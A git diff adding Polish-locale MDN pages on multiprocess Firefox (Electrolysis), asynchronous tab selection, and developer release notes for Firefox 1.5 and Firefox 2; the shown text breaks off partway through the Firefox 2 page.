+<p>{{FirefoxSidebar}}</p>
+
+<p>In older versions of Firefox for desktop, the entire browser ran within a single operating system process. Specifically, the JavaScript that ran the browser UI (also known as "chrome code") and the JavaScript that ran within web pages (also known as "content" or "web content") were not separated.<br>
+ <br>
+ Currently, the latest versions of Firefox run the browser UI and the web content in separate processes. In the current iteration of this architecture, all browser tabs run within the same process and the browser UI runs in its own individual process. In future iterations of Firefox, there will be more than one process to exclusively handle web content. The internal name for this project is called Electrolysis, sometimes abbreviated to e10s.</p>
+
+<p>The good news is that normal web pages and their developers are unaffected by this changeover to a multiprocess-based Firefox. Unfortunately, people developing for Firefox or Firefox add-ons will be affected if their code relies on being able to access web content directly since the system for accessing this data is going to change.</p>
+
+<p>Instead of accessing web content directly, chrome code will have to use the <a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox/Message_manager">message manager</a> instead. To help ease this transition we've implemented <a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox/Cross_Process_Object_Wrappers">Cross Process Object Wrappers</a> and some <a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox/Limitations_of_chrome_scripts#Compatibility_shims">compatibility shims for add-on developers</a>. If you are an add-on developer wondering whether or not you are affected by this change, see the <a href="/Mozilla/Add-ons/Working_with_multiprocess_Firefox">guide to working with multiprocess Firefox</a>.</p>
+
+<hr>
+<div class="topicpage-table">
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox/Technical_overview">Technical overview</a></dt>
+ <dd>A high-level overview of how multiprocess Firefox is implemented.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox/Web_content_compatibility">Web content compatibility guide</a></dt>
+ <dd>Guidelines and details on potential website compatibility issues that may arise due to the transition. Tip: there aren't very many!</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox/Glossary">Glossary</a></dt>
+ <dd>A glossary of terms used in multiprocess Firefox.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox/Message_Manager">Message manager</a></dt>
+ <dd>A complete guide to the objects used to communicate between chrome code and web content.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Add-ons/SDK/Guides/Multiprocess_Firefox_and_the_SDK">SDK-based add-ons</a></dt>
+ <dd>How to migrate add-ons developed using the Add-on SDK.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox/Which_URIs_load_where">Which URIs load where</a></dt>
+ <dd>A quick guide to which URIs - chrome:, about:, file:, resource: - are loaded into which process.</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox/Motivation">Motivation</a></dt>
+ <dd>Why we are implementing multiprocess Firefox: performance, security, and stability.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Add-ons/Working_with_multiprocess_Firefox">Add-on migration guide</a></dt>
+ <dd>If you are an add-on developer, find out if you are affected and how to update your code.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox/Cross_Process_Object_Wrappers">Cross Process Object Wrappers</a></dt>
+ <dd>Cross Process Object Wrappers are a migration aid, giving chrome code synchronous access to web content.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox/Debugging_frame_scripts">Debugging content processes</a></dt>
+ <dd>How to debug code running in the content process, including frame and process scripts.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox/Tab_selection_in_multiprocess_Firefox">Tab selection in multiprocess Firefox</a></dt>
+ <dd>How switching tabs works in multiprocess Firefox.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<div class="topicpage-table">
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox/Limitations_of_chrome_scripts">Limitations of chrome scripts</a></dt>
+ <dd>Practices that will no longer work in chrome code, and how to update them.</dd>
+</dl>
+</div>
+
+<div class="section">
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Firefox/Multiprocess_Firefox/Limitations_of_frame_scripts">Limitations of frame scripts</a></dt>
+ <dd>Practices that will not work inside frame scripts, and what to do instead.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Contact_us">Contact us</h2>
+
+<p>Find out more about the project, get involved, or ask us your questions.</p>
+
+<ul>
+ <li><strong>Electrolysis project page</strong>: <a href="https://wiki.mozilla.org/Electrolysis">https://wiki.mozilla.org/Electrolysis</a></li>
+ <li><strong>IRC</strong>: #e10s on <a href="https://wiki.mozilla.org/IRC">irc.mozilla.org</a></li>
+ <li><strong>Mailing list</strong>: <a href="https://groups.google.com/forum/#!forum/mozilla.dev.tech.electrolysis">dev.tech.electrolysis</a></li>
+</ul>
diff --git a/files/pl/mozilla/firefox/multiprocess_firefox/tab_selection_in_multiprocess_firefox/index.html b/files/pl/mozilla/firefox/multiprocess_firefox/tab_selection_in_multiprocess_firefox/index.html
new file mode 100644
index 0000000000..9b84eb335d
--- /dev/null
+++ b/files/pl/mozilla/firefox/multiprocess_firefox/tab_selection_in_multiprocess_firefox/index.html
@@ -0,0 +1,23 @@
+---
+title: Tab selection in multiprocess Firefox
+slug: Mozilla/Firefox/Multiprocess_Firefox/Tab_selection_in_multiprocess_Firefox
+translation_of: Mozilla/Firefox/Multiprocess_Firefox/Tab_selection_in_multiprocess_Firefox
+---
+<h3 id="FirefoxSidebar">{{FirefoxSidebar}}</h3>
+
+<p>In single-process Firefox, when the user switches tabs, this is a synchronous operation. The browser blocks while it loads content into the newly selected tab, then switches to that tab. It indicates that the tab is selected by setting the <code><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XUL/Attribute/selected">selected</a></code> attribute on the XUL <code>tab</code> object. Code (including browser code, extensions, or themes) that wants to change the appearance of the selected tab can use the <code>selected</code> attribute to apply CSS for that tab.</p>
+
+<p>In multiprocess Firefox, tab switching is asynchronous. When the user switches tabs, the chrome process sends a request to the content process to load the page into the newly selected tab. The function in the chrome process then returns immediately, so other code can run. Once the content process is ready, it sends a message back to the chrome process, which then switches tabs in the user interface.</p>
+
+<p>There's also a timer in the chrome process: if the content process has not responded before the timer expires, then the browser switches tabs anyway, and just displays an empty tab containing a spinner, until the content process has finished loading the page. Currently the timer is set to 300 milliseconds.</p>
+
+<p>There are, correspondingly, two attributes used to signal tab selection:</p>
+
+<ul>
+ <li>The old <code><a href="/en-US/docs/XUL/Attribute/selected">selected</a></code> attribute is set synchronously, at the start of the process. It signals that tab selection has started, but at this point the user interface has not yet been updated.</li>
+ <li>A new attribute <code><a href="/en-US/docs/Mozilla/Tech/XUL/Attribute/visuallyselected">visuallyselected</a></code> is now used once the browser has actually updated the user interface, either because the content process is ready or because the timer has expired.</li>
+</ul>
+
+<p>This means that code which wants to style the currently selected tab needs to use the <code>visuallyselected</code> attribute to do so. If it uses the <code>selected</code> attribute, then there will be a momentary disconnect in which the newly selected tab's style is updated, but the browser is still displaying the old tab's content.</p>
+
+<footer class="entry-meta"></footer>
diff --git a/files/pl/mozilla/firefox/releases/1.5/index.html b/files/pl/mozilla/firefox/releases/1.5/index.html
new file mode 100644
index 0000000000..1181aad2c7
--- /dev/null
+++ b/files/pl/mozilla/firefox/releases/1.5/index.html
@@ -0,0 +1,157 @@
+---
+title: Firefox 1.5 dla programistów
+slug: Mozilla/Firefox/Releases/1.5
+tags:
+ - CSS
+ - DOM
+ - Dodatki
+ - HTML
+ - JavaScript
+ - Programowanie_WWW
+ - RDF
+ - Rozszerzenia
+ - SVG
+ - Standardy_WWW
+ - Wszystkie_kategorie
+ - XML
+ - XML Web Services
+ - XSLT
+ - XUL
+translation_of: Mozilla/Firefox/Releases/1.5
+---
+<div>{{FirefoxSidebar}}</div><p> </p>
+
+<h3 id="Firefox_1.5" name="Firefox_1.5">Firefox 1.5</h3>
+
+<p>Firefox 1.5 został wydany i jest dostępny <strong><a class="external" href="http://www.mozilla.com/firefox/">do pobrania</a></strong>. Oparty na silniku <a href="pl/Gecko">Gecko</a> 1.8, jeszcze lepiej obsługuje standardy, a także dodaje nowe możliwości, dzięki którym możliwe będzie tworzenie aplikacji WWW nowej generacji. Firefox 1.5 posiada poprawioną obsługę CSS2 i CSS3, API do tworzenia i programowania dwuwymiarowej grafiki dzięki <a href="pl/SVG">SVG</a> 1.1 i <code>&lt;canvas&gt;</code>, zdarzenia <a href="pl/XForms">XForms</a> i XML oraz wiele usprawnień DHTML, JavaScript i DOM.</p>
+
+<p><strong>Firefox 1.5</strong> jest dostępny do pobrania z: <a class="external" href="http://www.mozilla.com/firefox/" rel="freelink">http://www.mozilla.com/firefox/</a></p>
+
+<h3 id="Narz.C4.99dzia_programistyczne" name="Narz.C4.99dzia_programistyczne">Narzędzia programistyczne</h3>
+
+<p>Dostępnych jest wiele narzędzi i rozszerzeń, które mogą pomóc programistom w obsłudze Firefoksa 1.5.</p>
+
+<ul>
+ <li><a href="pl/Inspektor_DOM">Inspektor DOM</a>, narzędzie pozwalające analizować i modyfikować dokument bez potrzeby edytowania go. Inspektor DOM jest dostępny w Firefoksie 1.5 pod pozycją Narzędzia programistyczne w opcjach instalacji zaawansowanej (użytkownika).</li>
+ <li>Konsola JavaScript, narzędzie do pisania i testowania kodu JavaScript dające możliwość oglądania błędów JavaScript i CSS.</li>
+ <li>Pokaż źródło strony, z podświetlaniem składni i możliwością wyszukiwania.</li>
+ <li><a class="link-https" href="https://addons.mozilla.org/extensions/showlist.php?application=firefox&amp;category=Developer%20Tools">Rozszerzenia przeglądarki</a> takie jak <a class="external" href="http://www.joehewitt.com/software/firebug/">FireBug</a>, <a href="pl/Web_Developer_-_rozszerzenie_Firefoksa_(link)">Pasek narzędzi Web Developer</a>, <a href="pl/Live_HTTP_Headers_(link)">Live HTTP Headers</a>, <a href="pl/Walidator_HTML_(link)">HTML Validator</a> i wiele innych.</li>
+</ul>
+
+<p><strong>Uwaga:</strong> Niektóre rozszerzenia nie obsługują w tej chwili Firefoksa 1.5 i zostaną automatycznie wyłączone.</p>
+
+<h3 id="Og.C3.B3lnie" name="Og.C3.B3lnie">Ogólnie</h3>
+
+<p>Poniżej znajdują się artykuły omawiające główne nowe funkcje w Firefoksie 1.5:</p>
+
+<h4 id="Programi.C5.9Bci_stron_i_aplikacji_WWW" name="Programi.C5.9Bci_stron_i_aplikacji_WWW">Programiści stron i aplikacji WWW</h4>
+
+<dl>
+ <dt><a href="pl/SVG_w_XHTML_-_Wprowadzenie">SVG w XHTML - Wprowadzenie</a> </dt>
+ <dd>Dowiedz się, jak stosować SVG wewnątrz stron XHTML i jak można wykorzystać JavaScript i CSS do manipulowania obrazem w sposób analogiczny do zwykłego XHTML-a. Zajrzyj też na <a href="pl/SVG_w_Firefoksie">SVG w Firefoksie</a>, aby dowiedzieć się o stanie i znanych problemach implementacji SVG.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/Rysowanie_grafik_za_pomoc%c4%85_Canvas">Rysowanie grafik za pomocą Canvas</a> </dt>
+ <dd>Naucz się korzystać z nowego znacznika <code>&lt;canvas&gt;</code> i rysować grafy i inne obiekty w Firefoksie.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/Kolumny_CSS3">Kolumny CSS3</a> </dt>
+ <dd>Naucz się korzystać z automatycznego układania teksty w wielu kolumnach zgodnie z propozycją CSS3.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/Zastosowanie_cache'owania_w_Firefoksie_1.5">Zastosowanie cache'owania w Firefoksie 1.5</a> </dt>
+ <dd>Przeczytaj o <code>bfcache</code> i zwiększeniu prędkości przeglądania stron poprzednich i następnych jakie oferuje.</dd>
+</dl>
+
+<h4 id="Programi.C5.9Bci_XUL_i_autorzy_rozszerze.C5.84" name="Programi.C5.9Bci_XUL_i_autorzy_rozszerze.C5.84">Programiści XUL i autorzy rozszerzeń</h4>
+
+<dl>
+ <dt><a href="pl/Tworzymy_rozszerzenie">Tworzymy rozszerzenie</a> </dt>
+ <dd>Ten przewodnik poprowadzi Cię poprzez kroki, które należy wykonać aby stworzyć bardzo proste rozszerzenia dla Firefoksa. Zobacz także <a class="external" href="http://kb.mozillazine.org/Getting_started_with_extension_development">przewodnik w bazie wiedzy MozillaZine</a>, który demonstruje nowe cechy Menedżera Rozszerzeń w wersji 1.5, który sprawia, że tworzenie rozszerzenia jest jeszcze łatwiejsze.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/XPCNativeWrapper">XPCNativeWrapper</a> </dt>
+ <dd><code>XPCNativeWrapper</code> jest sposobem na opakowanie obiektu, aby możliwy był <a href="pl/Bezpieczny_dost%c4%99p_do_sk%c5%82adnik%c3%b3w_DOM_z_poziomu_chrome">bezpieczny dostęp z uprawnionego kodu</a>. Może być one użyty we wszystkich wersjach Firefoksa, mimo że działanie to zmieniło się nieco począwszy od Firefoksa 1.5 (Gecko 1.8).</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/System_preferencji">System preferencji</a> </dt>
+ <dd>Dowiedz się więcej o nowych kontrolkach, które pozwalają na stworzenie okien Opcji w prostszy i wymagający mniej kodu JavaScript sposób.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/Mi%c4%99dzynarodowe_pismo_w_XUL_JavaScript">Międzynarodowe pismo w XUL JavaScript</a> </dt>
+ <dd>Pliki XUL JavaScript mogą teraz zawierać pliki spoza zakresu ASCII.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/Tree_Widget_Changes">Zmiany w API Tree</a> </dt>
+ <dd>Interfejsy do obsługi elementów <code>&lt;tree&gt;</code> XUL-a zostały zmienione.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/Zmiany_w_XUL-u_w_Firefoksie_1.5">Zmiany w XUL-u w Firefoksie 1.5</a> </dt>
+ <dd>Podsumowanie zmian w XUL-u. Zobacz także <a href="pl/Dostosowanie_aplikacji_XUL_do_Firefoksa_1.5">Dostosowanie aplikacji XUL do Firefoksa 1.5</a>.</dd>
+</dl>
+
+<dl>
+ <dt>Zmiany związane z obsługą sieci </dt>
+ <dd> </dd>
+</dl>
+
+<ul>
+ <li>Komunikaty certyfikatów mogą być teraz nadpisywane dla każdego kanału. Działa to poprzez ustawianie odpytywacza interfejsu jako <a href="pl/NsIChannel">nsIChannel</a> notificationCallbacks i przydzielenie interfejsu dla <a href="pl/NsIBadCertListener">nsIBadCertListener</a>.</li>
+ <li>Listenery nsIWebBrowserPersist mogą teraz implementować <a href="pl/NsIInterfaceRequestor">nsIInterfaceRequestor</a>::GetInterface i dostaną szansę podania wszystkich interfejsów o jakie kanał może zapytać, włączając <a href="pl/NsIProgressEventSink">nsIProgressEventSink</a> (niezbyt przydatny, redunduje <a href="pl/NsIWebProgressListener">nsIWebProgressListener</a>). Przydatne interfejsy to m.in. <a href="pl/NsIChannelEventSink">nsIChannelEventSink</a> oraz <a href="pl/NsIBadCertListener">nsIBadCertListener</a>.</li>
+ <li>Rozszerzenia oraz inni użytkownicy necko, włączając w to XMLHttpRequest, mogą ustawić nagłówek Cookie bezpośrednio i necko nie będzie go zastępować. Zapisane ciasteczka zostaną połączone z bezpośrednio nadanym nagłówkiem, w taki sposób, że bezpośrednio nadany nagłówek nadpisze zapisane ciasteczka.</li>
+</ul>
+
+<h3 id="Nowe_funkcje_dla_u.C5.BCytkownik.C3.B3w" name="Nowe_funkcje_dla_u.C5.BCytkownik.C3.B3w">Nowe funkcje dla użytkowników</h3>
+
+<h4 id="Wygoda_u.C5.BCytkownika" name="Wygoda_u.C5.BCytkownika">Wygoda użytkownika</h4>
+
+<ul>
+ <li><strong>Szybsza nawigacja po stronach</strong> z poprawioną wydajności przycisków wstecz i dalej.</li>
+ <li><strong>Możliwość zmiany kolejności kart metodą przeciągnij i upuść</strong></li>
+ <li><strong>Answers.com został dodany jako silnik wyszukiwania</strong>.</li>
+ <li><strong>Poprawiona wygoda użytkowania</strong> w tym, opisowe strony błędów, przemodelowane menu opcji, mechanizm wykrywania RSS, obsługa trybu Bezpiecznego.</li>
+ <li><strong>Zwiększone wsparcie dla dostępności</strong> w tym, wsparcie dla niepełnosprawnych dla DHTMLa.</li>
+ <li><strong>Mechanizm zgłaszania niedziałających stron</strong> pozwala zgłaszać strony nie działające w Firefoksie.</li>
+ <li><strong>Lepsze wsparcie dla Mac OS X</strong> (10.2 i nowsze) w tym, migracja profilu z Safari oraz Mac Internet Explorera.</li>
+</ul>
+
+<h4 id="Bezpiecze.C5.84stwo_i_prywatno.C5.9B.C4.87" name="Bezpiecze.C5.84stwo_i_prywatno.C5.9B.C4.87">Bezpieczeństwo i prywatność</h4>
+
+<ul>
+ <li><strong>Automatyczna aktualizacja</strong> ułatwia aktualizacje oprogramowania. Informacja o aktualizacji jest lepiej widoczna, natomiast same aktualizacje mają pół megabajta lub mniej. Aktualizacja rozszerzeń także została usprawniona.</li>
+ <li><strong>Usprawnione blokowanie wyskakujących okien.</strong></li>
+ <li>Opcja <strong>Usuń prywatne dane</strong> pozwala w łatwy sposób szybko usunąć prywatne dane z przeglądarki korzystając ze skrótu klawiatury.</li>
+</ul>
+
+<h4 id="Wsparcie_dla_otwartych_standard.C3.B3w_WWW" name="Wsparcie_dla_otwartych_standard.C3.B3w_WWW">Wsparcie dla otwartych standardów WWW</h4>
+
+<p>Wsparcie Firefoksa dla standardów WWW pozostaje najlepszym na rynku, w tym wsparcie dla:</p>
+
+<ul>
+ <li>Hipertekstowy Język Znaczników (<a href="pl/HTML">HTML</a>) oraz Rozszerzalny Hipertekstowy Język Znaczników (<a href="pl/XHTML">XHTML</a>): <a class="external" href="http://www.w3.org/TR/html401/">HTML 4.01</a> oraz <a class="external" href="http://www.w3.org/TR/xhtml1/">XHTML 1.0/1.1</a></li>
+ <li>Kaskadowe Arkusze Stylów (<a href="pl/CSS">CSS</a>): <a class="external" href="http://www.w3.org/TR/REC-CSS1">CSS Poziom 1</a>, <a class="external" href="http://www.w3.org/TR/REC-CSS2">CSS Poziom 2</a> oraz część <a class="external" href="http://www.w3.org/Style/CSS/current-work.html">CSS Poziom 3</a></li>
+ <li>Obiektowy Model Dokumentu (<a href="pl/DOM">DOM</a>): <a class="external" href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/">DOM Poziom 1</a>, <a class="external" href="http://www.w3.org/DOM/DOMTR#dom2">DOM Poziom 2</a> i część <a class="external" href="http://www.w3.org/DOM/DOMTR#dom3">DOM Poziom 3</a></li>
+ <li>Matematyczny Język Znaczników: <a class="external" href="http://www.w3.org/Math/">MathML Wersja 2.0</a></li>
+ <li>Rozszerzalny Język Znaczników (<a href="pl/XML">XML</a>): <a class="external" href="http://www.w3.org/TR/REC-xml">XML 1.0</a>, <a class="external" href="http://www.w3.org/TR/REC-xml-names/">Przestrzenie nazw w XML-u</a>, <a class="external" href="http://www.w3.org/TR/xml-stylesheet/">Łączenie arkuszy stylów w dokumentach XML 1.0</a>, <a class="external" href="http://lists.w3.org/Archives/Public/www-xml-linking-comments/2001AprJun/att-0074/01-NOTE-FIXptr-20010425.htm">Identyfikatory fragmentów w XML-u</a></li>
+ <li>Transformacje XSL (<a href="pl/XSLT">XSLT</a>): <a class="external" href="http://www.w3.org/TR/xslt">XSLT 1.0</a></li>
+ <li>Język Ścieżek XML (<a href="pl/XPath">XPath</a>): <a class="external" href="http://www.w3.org/TR/xpath">XPath 1.0</a></li>
+ <li>Struktura Opisu Zasobów (<a href="pl/RDF">RDF</a>): <a class="external" href="http://www.w3.org/RDF/">RDF</a></li>
+ <li>Prosty Protokół Dostępu do Obiektu (SOAP): <a class="external" href="http://www.w3.org/TR/SOAP/">SOAP 1.1</a></li>
+ <li><a href="pl/JavaScript">JavaScript</a> 1.6, oparty na <a href="pl/ECMA-262">ECMA-262</a>, revision 3: <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMA-262</a></li>
+</ul>
+
+<p>Firefox 1.5 wspiera następujące protokoły transportu (HTTP, FTP, SSL, TLS i inne), wielojęzyczny zestaw znaków (Unicode), grafikę (GIF, JPEG, PNG, SVG i inne) oraz najnowszą wersję najpopularniejszego języka skryptowego, <a href="pl/Nowo%c5%9bci_w_JavaScript_1.6">JavaScript 1.6</a>.</p>
+
+<h3 id="Zmiany_od_wersji_1.0_Firefoksa" name="Zmiany_od_wersji_1.0_Firefoksa">Zmiany od wersji 1.0 Firefoksa</h3>
+
+<p>Od wydania wersji 1.0, które miało miejsce 9 listopada 2004 roku, do Firefoksa włączonych zostało bardzo wiele nowych funkcji i poprawek. Szczegółowe informacje można uzyskać na stronie <a class="external" href="http://www.squarefree.com/burningedge/releases/1.5-comprehensive.html">squarefree.com</a>.</p>
+
+<p>{{ languages( { "en": "en/Firefox_1.5_for_developers", "es": "es/Firefox_1.5_para_Desarrolladores", "fr": "fr/Firefox_1.5_pour_les_d\u00e9veloppeurs", "it": "it/Firefox_1.5_per_Sviluppatori", "ja": "ja/Firefox_1.5_for_developers", "nl": "nl/Firefox_1.5_voor_ontwikkelaars", "pt": "pt/Firefox_1.5_para_Desenvolvedores" } ) }}</p>
diff --git a/files/pl/mozilla/firefox/releases/2/index.html b/files/pl/mozilla/firefox/releases/2/index.html
new file mode 100644
index 0000000000..91f6b7d7d2
--- /dev/null
+++ b/files/pl/mozilla/firefox/releases/2/index.html
@@ -0,0 +1,156 @@
+---
+title: Firefox 2 dla programistów
+slug: Mozilla/Firefox/Releases/2
+translation_of: Mozilla/Firefox/Releases/2
+---
+<div>{{FirefoxSidebar}}</div><h2 id="Nowo.C5.9Bci_dla_programist.C3.B3w_w_Firefoksie_2" name="Nowo.C5.9Bci_dla_programist.C3.B3w_w_Firefoksie_2">Nowości dla programistów w Firefoksie 2</h2>
+
+<p>Firefox 2 wprowadza wiele nowości i nowych możliwości. Ten artykuł zawiera odnośniki do artykułów opisujących te nowości.</p>
+
+<h3 id="Dla_autor.C3.B3w_stron_WWW_i_aplikacji" name="Dla_autor.C3.B3w_stron_WWW_i_aplikacji">Dla autorów stron WWW i aplikacji</h3>
+
+<dl>
+ <dt><a class="external" href="http://wiki.mozilla.org/Microsummaries">Mikropodsumowania</a></dt>
+ <dd>Mikropodsumowania to regularnie aktualizowane zestawienia najważniejszych danych zawartych na stronach WWW. Strona, oraz inni programiści mogą dostarczyć je, a użytkownicy mogą wybrać wyświetlanie mikropodsumowań zamiast statecznych tytułów, kiedy dodają stronę z mikropodsumowaniami do zakładek.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/Tworzenie_mikropodsumowania">Tworzenie mikropodsumowania</a></dt>
+ <dd>Kurs tworzenia generatora mikropodsumowań.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/Dokumentacja_gramatyki_XML_mikropodsumowa%c5%84">Dokumentacja gramatyki XML mikropodsumowań</a></dt>
+ <dd>Przewodnik po gramatyce języka XML używanego przy tworzeniu generatorów mikropodsumowań.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/Tworzenie_wtyczek_OpenSearch_dla_Firefoksa">Tworzenie wtyczek OpenSearch dla Firefoksa</a></dt>
+ <dd>Firefox 2 obsługuje format wyszukiwania silnika OpenSearch.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/Tworzenie_wtyczek_MozSearch">Tworzenie wtyczek MozSearch</a></dt>
+ <dd>Firefox 2 wspiera MozSearch, format wtyczki wyszukiwania bazowany na OpenSearch, ale przeznaczony tylko do wewnętrznego użytku.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/Wsparcie_dla_podpowiedzi_wyszukiwania_w_wyszukiwarkach">Wsparcie dla podpowiedzi wyszukiwania w wyszukiwarkach</a></dt>
+ <dd>Jak stworzyć wtyczkę MozSearch z obsługą podpowiedzi wyświetlanych w postaci rozwijanej listy odczas wprowadzania zapytania .</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/Nowo%c5%9bci_w_JavaScript_1.7">Nowości w JavaScript 1.7</a></dt>
+ <dd>Firefox 2 obsługuje JavaScript 1.7, który wprowadza wiele nowości takich jak <code>let</code>, destructuring assignment, generatory i iteratory oraz ułatwienia składni dla tablic.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/DOM/Storage">Sesje WHATWG po stronie klienta i trwałe magazynowanie (znane także jako Magazyn DOM)</a></dt>
+ <dd>Sesje po stronie klienta i trwałe dane pozwalają aplikacjom internetowym przechowywać dane strukturalne po stronie klienta.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/SVG_w_Firefoksie">SVG w Firefoksie</a></dt>
+ <dd>Firefox 2 poprawia obsługę Skalowalnej Grafiki Wektorowej (SVG), wprowadzając obsługę elementu <code>&lt;textPath&gt;</code> i dodając wsparcie dla niektórych atrybutów, które wcześniej nie były obsługiwane.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/Kontrola_sprawdzania_pisowni_w_formularzach_HTML">Kontrola sprawdzania pisowni w formularzach HTML</a></dt>
+ <dd>Firefox 2 posiada wsparcie dla sprawdzania pisowni w polach tekstowych i formatkach. Ten artykuł opisuje jak pisać kod HTML, aby włączyć lub wyłączyć sprawdzanie pisowni w pojedynczych elementach formularzy.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/Bezpiecze%c5%84stwo_w_Firefoksie_2">Bezpieczeństwo w Firefoksie 2</a></dt>
+ <dd>W Firefoksie 2 zmiany w tym, które protokoły bezpieczeństwa są włączone domyślnie.</dd>
+</dl>
+
+<h3 id="Dla_programist.C3.B3w_XUL_i_autor.C3.B3w_rozszerze.C5.84" name="Dla_programist.C3.B3w_XUL_i_autor.C3.B3w_rozszerze.C5.84">Dla programistów XUL i autorów rozszerzeń</h3>
+
+<dl>
+ <dt><a href="pl/Aktualizacja_rozszerze%c5%84_do_Firefoksa_2">Aktualizacja rozszerzeń do Firefoksa 2</a></dt>
+ <dd>Jak sprawić, aby Twoje istniejące rozszerzenie działało poprawnie z Firefoksem 2.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/API_przechowywania_sesji">API przechowywania sesji</a></dt>
+ <dd>Dodawanie elementów, które mają zostać zachowane i przywrócone między sesjami w Firefoksie.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/API_dost%c4%99pu_do_danych_z_kana%c5%82%c3%b3w">API dostępu do danych z kanałów</a></dt>
+ <dd>API, które daje programistom dostęp do kanałów RSS i Atom oraz pozwala je przetwarzać.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/SAX">Wsparcie dla SAX</a></dt>
+ <dd>API opartego na zdarzeniach parsera XML.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/Dodawanie_wyszukiwarek_z_poziomu_stron_WWW">Dodawanie wyszukiwarek z poziomu stron WWW</a></dt>
+ <dd>JavaScript może nakazać Firefoksowi instalację nowej wtyczki wyszukiwarki, napisanej w formatach OpenSearch i Sherlock.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/Sprawdzanie_pisowni_w_XUL">Sprawdzanie pisowni w XUL</a></dt>
+ <dd>Jak sprawdzić pisownię wyrazów lub pobrać listę podpowiedzi pisowni z kodu.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/Dodawanie_dostawc%c3%b3w_danych_ochrony_przed_phishingiem">Dodawanie dostawców danych ochrony przed phishingiem</a></dt>
+ <dd>Jest możliwe rozszerzenie ochrony przed phishingiem Firefoksa, poprzez dodanie kolejnych dostawców danych dla systemu bezpiecznego korzystania z sieci WWW.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/Dodawanie_czytnik%c3%b3w_kana%c5%82%c3%b3w_w_Firefoksie">Dodawanie czytników kanałów w Firefoksie</a></dt>
+ <dd>Teraz można dodać nowe czytniki kanałów w Firefoksie, zarówno te w postaci stron internetowych jak i zewnętrznych aplikacji.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/Storage">Storage</a></dt>
+ <dd>W Firefoksie 2 wprowadzono mozStorage, środowisko baz danych oparte na sqlite.</dd>
+</dl>
+
+<dl>
+ <dt><a href="pl/Zmiany_w_motywie_graficznym_w_Firefoksie_2">Zmiany w motywie graficznym w Firefoksie 2</a></dt>
+ <dd>Opisuje zmiany potrzebne do aktualizacji istniejących motywów, aby pracowały w Firefoksie 2.</dd>
+</dl>
+
+<dl>
+ <dt>Ulepszenia bloku tekstowego (tylko Firefox 2.0.0.1 i wyższe)</dt>
+ <dd>Element <code>&lt;textbox&gt;</code> posiada teraz metodę <code>reset()</code> do czyszczenia wartości bloku tekstowego do domyślnej. Własność <code>defaultValue</code> może być użyta do pobrania i zmodyfikowania domyślnej wartości bloku tekstowego ({{ Bug(312867) }}).</dd>
+ <dd>Obsługa własności <code>editor</code> do pobrania wewnętrznego <a href="pl/NsIEditor">nsIEditor</a> dla pola tekstowego ({{ Bug(312867) }}).</dd>
+</dl>
+
+<h2 id="Nowe_funkcje_dla_u.C5.BCytkownik.C3.B3w" name="Nowe_funkcje_dla_u.C5.BCytkownik.C3.B3w">Nowe funkcje dla użytkowników</h2>
+
+<p>Firefox 2 posiada ten sam czysty, prosty interfejs użytkownika jak poprzednie wersje, ale zawiera niewielkie poprawki sprawiające, że wygodniej jest z niego korzystać. Dodatkowo, zawiera też poprawione funkcje bezpieczeństwa oraz narzędzia sprawiające, że przeglądanie Internetu staje się bezpieczniejsze, szybsze i łatwiejsze niż kiedykolwiek.</p>
+
+<h3 id="Wygoda_korzystania" name="Wygoda_korzystania">Wygoda korzystania</h3>
+
+<ul>
+ <li><strong>Sprawdzanie pisowni w polach tekstowych</strong> pozwala Ci pisać teksty w formularzach bez obawy o ortografię.</li>
